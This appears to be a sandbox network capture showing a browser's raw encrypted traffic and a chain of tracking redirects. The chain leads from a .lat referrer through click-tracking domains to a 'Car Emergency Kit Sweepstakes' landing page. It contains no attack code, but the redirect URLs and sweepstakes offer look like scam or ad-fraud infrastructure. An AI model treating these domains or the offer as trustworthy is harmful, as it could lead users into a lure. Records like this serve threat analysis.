2024-10-03 16:19:42 UTC	1369	IN	Data Raw: 55 e3 9c bb fc d4 84 77 df 38 61 3c d8 f2 c2 9e cb 50 aa c6 38 f5 d0 cb d9 db 3e 37 be 1c 19 77 11 aa 26 08 8b 88 3f d8 23 b5 77 ef ae 7d ae eb da bb 77 ea f2 e1 57 23 ba e3 66 b0 f9 f9 67 c6 bf 71 de 84 e2 cd 3d 0f 40 55 8b ee d1 51 c9 0d 8e ae e9 d9 2f 2b 66 d0 c8 9c d8 c7 69 a3 79 6c e4 bd cf 6e e8 30 37 bc fd ba 4b 3b ba f5 48 c4 4f d0 b4 55 4f 7f fd a4 29 87 21 e3 a0 aa 50 62 8f 0b c9 03 1e 69 75 fa de c8 04 fa 55 27 37 af cb ac a3 6d da a5 76 c6 4f c3 63 4f 6d 7c 63 8b 29 b7 66 50 55 a0 e1 c1 79 93 92 b2 46 a7 b1 02 d4 cd eb 30 25 ae 4d 6a 18 6a b1 a1 cf 8c 7f c5 54 90 37 0e 40 55 a6 e1 51 db eb 9d be 8b 15 2e 27 bd 43 d2 bc 63 8d 50 eb 9c db df ec b5 4d a6 02 9d 18 0a 55 39 c6 de bd a6 c3 19 56 aa 8c db 7b 36 e8 da 08 b5 c6 e5 09 2f fe ca 54 b4 e9 Data Ascii: Uw8a<P8>7w&?#w}wW#fgq=@UQ/+fiyln07K;HOUO)!PbiuU'7mvOcOm\|c)fPUyF0%MjjT7@UQ.'CcPMU9V{6/T
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: d8 f8 36 2a c3 47 46 30 13 2a 40 9b 34 86 24 07 a1 88 a2 93 84 fa 08 c1 08 3a 1a 39 88 92 d8 f5 28 e3 c3 d7 37 19 ef b6 bc 70 e8 25 54 96 05 c6 d1 1b 50 56 0d 47 51 14 4b 47 17 10 82 87 e9 68 09 42 d0 8f 8e 06 63 05 45 fd 5a c2 62 d5 11 e3 dd be 2b 2f 4f 43 25 3a 64 1c cd 84 b2 e8 9a 49 c9 73 4d d2 e8 68 0d 42 90 47 47 0f c3 bf 96 91 74 f6 29 1a b7 a6 24 b3 31 ae 9b 36 61 ba f1 ec 57 87 9f 39 80 ca f5 bc 71 b2 0d ca 62 00 45 53 d0 87 ce 6e 85 7f f1 cd e9 e8 e7 f0 6f 2c 05 f5 00 24 51 34 09 85 2e 7f b6 c5 78 f5 f9 8b cf 9c 43 a5 5b b8 cf 38 78 0c aa 54 3f 4a d2 92 81 2e 14 34 85 6f fd 29 18 0e df 06 50 50 27 0c 40 b7 48 4a fe 06 98 f9 a2 f1 6a d3 0b bf 99 86 2a b1 d5 d8 eb 0b 75 c3 98 5b 29 e9 12 0d e0 16 0a 9a c0 b7 70 0a 26 c3 b7 0d 94 f4 41 81 f8 18 0a Data Ascii: 6GF0@4$:9(7p%TPVGQKGhBcEZb+/OC%:dIsMhBGGt)$16aW9qbESno,$Q4.xC[8xT?J.4o)PP'@HJj*u[)p&A
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: ab d5 f4 61 31 5c ed a4 1f 97 60 2f 97 82 d8 46 a8 62 1f 1a ab 71 50 c5 26 52 d2 07 76 e6 c7 d2 a2 f5 3d 14 dd 03 57 cb 68 75 6f 5d 4a 62 e1 ea 51 06 48 4f a3 24 1f f6 76 51 92 84 aa 75 71 8b b1 38 04 55 ac 29 25 f9 b0 d5 8b 56 97 26 53 d6 03 6e ee a1 55 c7 4c 8a da c1 cd cf 18 e0 c2 3d 94 24 74 87 bd 0e 94 34 45 95 ba 62 2c f6 40 5d d7 8a 92 68 d8 5a 47 ab 63 bd 29 5b 0f 17 77 26 d0 22 17 a3 28 fa 18 2e e2 19 20 12 f5 28 7a 07 f6 9a 52 72 3b aa d2 6f 8c c5 46 a8 eb 96 53 d2 0f f6 f2 68 f1 78 4b 24 50 14 03 17 93 68 f5 30 26 53 d4 1a 2e da 30 40 2b ec a6 e8 61 38 58 46 c9 58 54 9d 93 c6 62 3c 54 89 db 29 49 84 ad f9 29 b4 18 04 8c a4 68 6d 77 c8 96 d2 6a 3d 7a 53 d6 03 b2 51 0c 30 02 bd 28 ca 85 83 fa 94 dc 8e 2a f3 c0 9b a6 d4 67 50 25 a2 29 59 06 7b 3b Data Ascii: a1\`/FbqP&Rv=Whuo]JbQHO$vQuq8U)%V&SnUL=$t4Eb,@]hZGc)[w&"(. (zRr;oFShxK$Ph0&S.0@+a8XFXTb<T)I)hmwj=zSQ0(*gP%)Y{;
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: 29 b6 ef 55 28 67 8f 52 90 10 0f 7b f5 68 d5 06 81 7e 4e d1 57 f3 51 56 47 5a a5 23 d0 dd 94 8d 41 59 63 18 e0 56 04 6a 41 51 27 38 38 46 c9 44 54 a8 6c 53 ec fc 43 50 82 45 14 a4 25 c2 5e 0e ad e2 11 68 22 65 4d 50 d6 40 5a ad 41 a0 c4 c7 29 da 8e b2 5a 30 c0 44 04 ea 41 59 1f d8 4b ac 43 41 3d 54 a4 66 a6 d8 82 03 50 92 45 14 dc d5 10 b6 8e d1 2a 17 65 8c a0 6c 0a ca da 40 ab 4f 51 46 0c 45 ad 51 56 16 03 b4 45 19 b9 14 ad 80 83 5c 0a 16 a3 02 bd 6e 8a fd f2 01 28 d1 22 0a ce c0 5e 1c ad 92 50 46 e7 14 8a 72 5b 22 50 62 73 5a a4 cd 47 19 97 28 4a 48 44 a0 f9 39 b4 8a 0d 43 19 a3 28 1a 04 07 23 29 18 84 8a f3 ba 29 d6 0c ca c5 22 0a ee 81 bd b3 b4 fa 14 65 8d a6 ac 37 02 b5 a1 d5 06 94 95 4a d9 7a 04 ba c0 00 cf a2 ac 79 94 45 c0 5e 3a 05 67 51 61 1e 34 Data Ascii: )U(gR{h~NWQVGZ#AYcVjAQ'88FDTlSCPE%^h"eMP@ZA)Z0DAYKCA=TfPE*el@OQFEQVE\n("^PFr["PbsZG(JHD9C(#))"e7JzyE^:gQa4
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: 0c 67 80 e5 90 34 a6 ec 0c 80 51 b4 8a 83 28 89 b2 fa 40 1c 03 3c 02 51 06 45 f7 c3 6a 27 25 93 e0 db e5 bd a6 c0 d7 0b a1 ca a9 3e 25 e1 b0 68 40 ab 3a 2d 21 ca a0 ec 18 10 49 ab 5e 10 b5 a5 ac 01 90 c5 00 bb 20 ea 40 59 22 2c b2 28 e9 0c bf c6 99 42 c7 a1 ca 6f 34 05 b1 2d 51 6a 19 ad b2 20 eb 40 d9 25 f4 a0 d5 60 c8 ea 37 a7 a8 15 c2 22 69 15 09 d9 dd 94 75 43 a9 db d2 28 78 16 7e 3d 6d 0a 9c 78 15 aa 02 34 a1 64 27 6e 08 8b a4 d5 08 c8 46 50 b6 01 2d 68 d5 01 2e 62 28 ca 41 6f 06 c8 87 2c 9e b2 7e 28 b5 83 92 1d f0 67 f3 61 53 e0 ca 42 a8 8a 10 96 42 c1 59 dc 90 ca 00 bd 21 8b a0 ec 71 2c a3 d5 25 b8 58 47 59 f7 28 06 68 00 17 f7 50 34 18 a5 46 53 50 37 11 be 9c 9c 6e 0a 3c 0d 55 41 a6 50 32 16 25 56 d0 ea 2c dc 6c a0 ac ff 06 5a c4 c2 cd fc ba 14 0d Data Ascii: g4Q(@<QEj'%>%h@:-!I^ @Y",(Bo4-Qj @%`7"iuC(x~=mx4d'nFP-h.b(Ao,~(gaSBBY!q,%XGY(hP4FSP7n<UAP2%V,lZ
2024-10-03 16:19:42 UTC	1369	IN	Data Raw: 51 d6 13 fe 44 51 34 b8 31 54 ed 95 d8 81 92 9c 25 70 15 47 27 a3 11 92 3b 29 1b 0c 5f 96 8c a4 24 bf 3b 54 ad 16 47 d1 14 b8 59 4e 27 8f 20 34 99 94 f5 80 0f 8f 52 f4 08 54 6d 77 21 97 92 cc 0b 70 11 49 07 c7 10 9a 89 94 ed 86 67 17 46 52 d2 e9 02 54 ed 17 36 97 a2 9e b3 21 ca a2 bd 48 84 28 8a b2 0d f0 6a 0d 45 1d ba 43 fd 24 8c 48 a3 e4 de b6 90 ec a0 bd a5 08 51 f7 04 8a 52 3a c3 93 6e 23 29 49 eb 0f f5 53 11 5f 8f a2 0e 63 e0 6c 38 ed ed 44 a8 36 50 d6 06 1e 34 9d 4b 51 7e 34 d4 4f 48 83 3a 94 ac 3d 0a 67 3f a3 ad ab 08 d5 24 ca a6 c0 dd a4 58 4a ea 0c 80 fa 69 b9 3a 97 a2 cc 26 70 92 44 3b cf 22 64 77 52 76 d7 6c b8 d8 d9 9a a2 56 d1 50 3f 39 9f 9e a1 68 43 14 ec b5 a1 9d a3 08 5d 26 65 c7 20 6a 1c 43 51 6e 32 d4 4f 51 c3 35 94 d5 4b 85 9d ce 29 b4 Data Ascii: QDQ41T%pG';)_$;TGYN' 4RTmw!pIgFRT6!H(jEC$HQR:n#)IS_cl8D6P4KQ~4OH:=g?$XJi:&pD;"dwRvlVP?9hC]&e jCQn2OQ5K)
2024-10-03 16:19:42 UTC	770	IN	Data Raw: 00 4a d5 06 87 8c bd a9 50 aa 16 78 df d8 7b 02 4a d5 06 43 8c ad 19 50 aa 36 18 6f ec 3d 06 a5 6a 81 cb c6 de 13 50 aa 16 68 b9 d7 d8 9a 0e a5 6a 83 6c 63 ef 23 28 55 0b 9c 34 f6 0e 43 a9 da 60 ab b1 b5 6f 28 94 aa 05 5e 36 f6 ee 83 52 b5 c0 c2 4d c6 d6 a6 53 50 aa 16 58 69 ec 1d 87 52 b5 c0 54 e3 60 33 94 aa 05 1e 34 f6 b2 a1 54 2d 70 d2 38 78 0c 4a d5 02 5f 1b 7b 2f 40 a9 5a e0 7d e3 60 3f 94 aa 05 be 36 f6 b6 40 a9 5a 60 a1 71 d0 17 4a d5 02 ef 19 07 1f 40 a9 9a af e5 5e 63 ef 17 07 a0 54 cd f7 89 71 f0 1a 94 aa 05 de 32 0e 9a 41 a9 5a e0 b7 c6 c1 7b 50 aa e6 fb c8 38 19 06 a5 6a be 8d c6 c9 53 50 aa e6 fb a5 71 32 13 4a d5 7c 0b 8c 93 fd 50 aa c6 1b ba c9 38 79 06 4a d5 78 33 8d a3 09 a8 6c a7 9e 79 e1 65 28 55 1e af 1a 47 d9 a8 54 43 57 5d 39 6f 8c Data Ascii: JPx{JCP6o=jPhjlc#(U4C`o(^6RMSPXiRT`34T-p8xJ_{/@Z}`?6@Z`qJ@^cTq2AZ{P8jSPq2J\|P8yJx3lye(UGTCW]9o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49813	111.90.140.35	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:45 UTC	761	OUT	GET /click?trvid=11356&s2=1236503140&s1=351518&s3=7605&s4=4598 HTTP/1.1 Host: shineheater.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://pawern.markiwalk.lat/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:19:47 UTC	2308	IN	HTTP/1.1 302 Found server: nginx date: Thu, 03 Oct 2024 16:19:46 GMT content-type: text/html; charset=utf-8 content-length: 81 cache-control: no-cache, no-store, no-transform, must-revalidate, private, max-age=0 expires: Thu, 01 Jan 1970 00:00:00 UTC location: https://www.scgyvdstrk.com/63CFP/7J9L55/?sub2=attU66V5SCje pragma: no-cache set-cookie: ClickDataNG=H4sIAAAAAAAA_2STbW_bNhDHv4pwr1qAkEU9OiyMIvOwpyZBgSQNBuwNTZ1tzjIpHCmpXtvvPlBiG2N7dboH8c-7-_ELjEhOWwMCeJqlGTDwlx5BZAzcsHv6_q2sGZE8tiD2snPIQHVanX5vQYD0_rmuP1WP278RGLTSIwje5M1NkxfrmoGS517qgwnVnBdVzUC77cdbEJ4GZEDWS6_tks_5mgENHQYvY0DYakLl79EfbQsiZ-DsQGrOcwadNK02h1gdvWfqQAAwsPs90lzZNCVnsCNp1DEWz8ml9Oh978RqNU1T6tThMrbO0ylV9ryqi-0vH1fNHzd3VbV674ZdvvlPx8o6H-86ohmWifXyYgcPovgutB2I0KgLCHh-_BkYDKSvlN1RGzyi9Eiz7Dzf955G3W7mof01ZFleu3zD86KusoKXWQzxTVHxiq-jW2yaOquiU27K6mYNDHR_27aEzoGAdVrWKc-LtCiuM_Uys8Eh3R7QeBBwb__RXSdXVZolb160ae3kkoenhGdp9i550aYu3yWf6_Jtctv3Hb7g7oP2q6po0qJO3nz47en-jiWdPmHyK6qTfZtsj2TPuOK8CbilWfIo95J0_AXCDPdISCCglxOSSc-STnqS3SntpA984agV_iDThobizcLC3adXogPOO7KTm89bpH-c8BNJ0y4dL4F722J3HXiQZ1x8tcjB1lJvKQAeEO5DBI0f6HKnzWkmYTCelhXPvRyWmzw_fv36gFPyp6W5TPvL_6O9JDR-G_Ye4SV90Oauvwp5ksZJtbwWB8IMXcdADc7bM4gvgJ89kpHd_DBfQQEGYwYCFk6Cx0FAwCR85yAgUjIWi85YRltFG9kYm2jX0d4E--3bvwEAAP__Stk0fkkEAAA=; Expires=Sat, 02 Nov 2024 16:19:46 GMT; SameSite=None; Secure set-cookie: ClickDataNgFall=H4sIAAAAAAAA_2STbW_bNhDHv4pwr1qAkEU9OiyMIvOwpyZBgSQNBuwNTZ1tzjIpHCmpXtvvPlBiG2N7dboH8c-7-_ELjEhOWwMCeJqlGTDwlx5BZAzcsHv6_q2sGZE8tiD2snPIQHVanX5vQYD0_rmuP1WP278RGLTSIwje5M1NkxfrmoGS517qgwnVnBdVzUC77cdbEJ4GZEDWS6_tks_5mgENHQYvY0DYakLl79EfbQsiZ-DsQGrOcwadNK02h1gdvWfqQAAwsPs90lzZNCVnsCNp1DEWz8ml9Oh978RqNU1T6tThMrbO0ylV9ryqi-0vH1fNHzd3VbV674ZdvvlPx8o6H-86ohmWifXyYgcPovgutB2I0KgLCHh-_BkYDKSvlN1RGzyi9Eiz7Dzf955G3W7mof01ZFleu3zD86KusoKXWQzxTVHxiq-jW2yaOquiU27K6mYNDHR_27aEzoGAdVrWKc-LtCiuM_Uys8Eh3R7QeBBwb__RXSdXVZolb160ae3kkoenhGdp9i550aYu3yWf6_Jtctv3Hb7g7oP2q6po0qJO3nz47en-jiWdPmHyK6qTfZtsj2TPuOK8CbilWfIo95J0_AXCDPdISCCglxOSSc-STnqS3SntpA984agV_iDThobizcLC3adXogPOO7KTm89bpH-c8BNJ0y4dL4F722J3HXiQZ1x8tcjB1lJvKQAeEO5DBI0f6HKnzWkmYTCelhXPvRyWmzw_fv36gFPyp6W5TPvL_6O9JDR-G_Ye4SV90Oauvwp5ksZJtbwWB8IMXcdADc7bM4gvgJ89kpHd_DBfQQEGYwYCFk6Cx0FAwCR85yAgUjIWi85YRltFG9kYm2jX0d4E--3bvwEAAP__Stk0fkkEAAA=; Expires=Sat, 02 Nov 2024 16:19:46 GMT connection: close
2024-10-03 16:19:47 UTC	81	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 73 63 67 79 76 64 73 74 72 6b 2e 63 6f 6d 2f 36 33 43 46 50 2f 37 4a 39 4c 35 35 2f 3f 73 75 62 32 3d 61 74 74 55 36 36 56 35 53 43 6a 65 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://www.scgyvdstrk.com/63CFP/7J9L55/?sub2=attU66V5SCje">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49814	34.107.223.80	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:47 UTC	738	OUT	GET /63CFP/7J9L55/?sub2=attU66V5SCje HTTP/1.1 Host: www.scgyvdstrk.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://pawern.markiwalk.lat/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:19:47 UTC	797	IN	HTTP/1.1 302 Found server: nginx date: Thu, 03 Oct 2024 16:19:47 GMT content-type: text/html; charset=utf-8 Content-Length: 188 accept-ch: Sec-Ch-Ua-Platform-Version,Sec-Ch-Ua-Model location: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 set-cookie: uniqueClick_7J9L55=61895eaa-67a9-43a0-b357-06ff9e713994:1727972387; Path=/; Expires=Sat, 02 Nov 2024 16:19:47 GMT; Secure; SameSite=None set-cookie: transaction_id=6c64e5a073e548e09489062e13d2fb52; Path=/; Expires=Wed, 01 Jan 2025 16:19:47 GMT; Secure; SameSite=None vary: Origin x-eflow-request-id: 7872c509-a43e-49f8-8c81-3b4902f21001 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 16:19:47 UTC	188	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 61 74 71 75 61 6c 69 74 79 64 65 61 6c 73 2e 63 6f 6d 2f 6f 75 74 73 74 61 6e 64 69 6e 67 70 72 6f 6d 6f 74 69 6f 6e 73 2f 61 75 74 6f 6d 6f 74 69 76 65 2f 76 31 2f 43 45 6d 4b 2f 3f 61 66 66 69 64 3d 34 26 61 6d 70 3b 63 31 3d 26 61 6d 70 3b 63 32 3d 61 74 74 55 36 36 56 35 53 43 6a 65 26 61 6d 70 3b 63 33 3d 26 61 6d 70 3b 63 6c 69 63 6b 5f 69 64 3d 36 63 36 34 65 35 61 30 37 33 65 35 34 38 65 30 39 34 38 39 30 36 32 65 31 33 64 32 66 62 35 32 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49815	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:48 UTC	829	OUT	GET /outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://pawern.markiwalk.lat/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:19:48 UTC	907	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store, no-cache, must-revalidate Cache-Control: max-age=0, no-cache, no-store, must-revalidate Set-Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23; path=/outstandingpromotions/automotive/v1/CEmK/ Vary: Accept-Encoding,User-Agent Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z936u%2FYrFmNiwqkJbkgJOx3aOClbbFhRANucRMvr6L8l2z3RRWUJk5sZgkplRZfIEWjckV7TdTb4EtQTAV02p96AGzqd1ZXaGfFzSySpKPuKwCDxe%2BEcpkQeQKwYeI1Ax1pU0sZwB2OcHLpX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cce41847bd3c35e-EWR
2024-10-03 16:19:48 UTC	462	IN	Data Raw: 37 63 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 6f 75 74 73 74 61 6e 64 69 6e 67 70 72 6f 6d 6f 74 69 6f 6e 73 2f 61 75 74 6f 6d 6f 74 69 76 65 2f 76 31 2f 43 45 6d 4b 2f 61 70 70 2f 64 65 73 6b 74 6f 70 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 6a 70 67 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 43 61 72 20 45 6d 65 72 67 65 6e 63 79 20 4b 69 74 20 53 77 65 65 70 73 74 61 6b 65 73 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 70 61 67 65 2d 62 75 69 6c 64 65 72 2d Data Ascii: 7c14<!DOCTYPE html><html> <head> <link rel="shortcut icon" href="/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/favicon.jpg" type="image/x-icon"> <title>Car Emergency Kit Sweepstakes</title> <page-builder-
2024-10-03 16:19:48 UTC	1369	IN	Data Raw: 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 6c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 2d 75 73 22 20 2f 3e 0d 0a 20 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 2f 3e 0d 0a 3c 6d Data Ascii: meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /><meta http-equiv="content-type" content="text/html;charset=utf-8" /><meta http-equiv="content-language" content="en-us" /> <meta name="apple-mobile-web-app-capable" content="yes"/><m
2024-10-03 16:19:48 UTC	1369	IN	Data Raw: 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 48 61 6e 64 68 65 6c 64 46 72 69 65 6e 64 6c 79 22 20 63 6f 6e 74 65 6e 74 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 Data Ascii: <meta name="HandheldFriendly" content="true"> <meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=no"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <met
2024-10-03 16:19:48 UTC	1369	IN	Data Raw: 68 72 65 66 3d 22 2f 6f 75 74 73 74 61 6e 64 69 6e 67 70 72 6f 6d 6f 74 69 6f 6e 73 2f 61 75 74 6f 6d 6f 74 69 76 65 2f 76 31 2f 43 45 6d 4b 2f 61 70 70 2f 64 65 73 6b 74 6f 70 2f 63 73 73 2f 61 6c 6c 2e 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 6f 75 74 73 74 61 6e 64 69 6e 67 70 72 6f 6d 6f 74 69 6f 6e 73 2f 61 75 74 6f 6d 6f 74 69 76 65 2f 76 31 2f 43 45 6d 4b 2f 61 70 70 2f 64 65 73 6b 74 6f 70 2f 63 73 73 2f 61 6e 69 6d 61 74 65 2e 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f Data Ascii: href="/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/all.css"> <link rel="stylesheet" type="text/css" href="/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/animate.css"> <link rel="stylesheet" type="text/css" href="/
2024-10-03 16:19:48 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 68 34 20 69 64 3d 22 69 72 76 63 33 22 3e 53 70 65 63 69 61 6c 20 4f 66 66 65 72 3c 2f 68 34 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 66 66 65 72 62 61 72 6f 66 74 68 65 64 61 79 20 70 78 2d 33 20 70 79 2d 31 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 61 74 65 67 6f 72 79 54 65 78 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 54 6f 64 61 79 27 73 20 4f 66 66 65 72 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 61 6e 67 6c 65 2d 72 69 67 68 74 22 3e 3c 2f 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 61 72 Data Ascii: <h4 id="irvc3">Special Offer</h4> </div> </div> <div class="offerbaroftheday px-3 py-1"><span class="categoryText"> Today's Offer <i class="fa fa-angle-right"></i> Car
2024-10-03 16:19:48 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 74 69 6d 65 4c 65 66 74 20 3e 20 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 74 69 6d 65 4c 65 66 74 49 6e 53 65 63 6f 6e 64 73 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 69 6d 65 4c 65 66 74 20 2f 20 31 30 30 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 6d 69 6e 75 74 65 73 4c 65 66 74 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 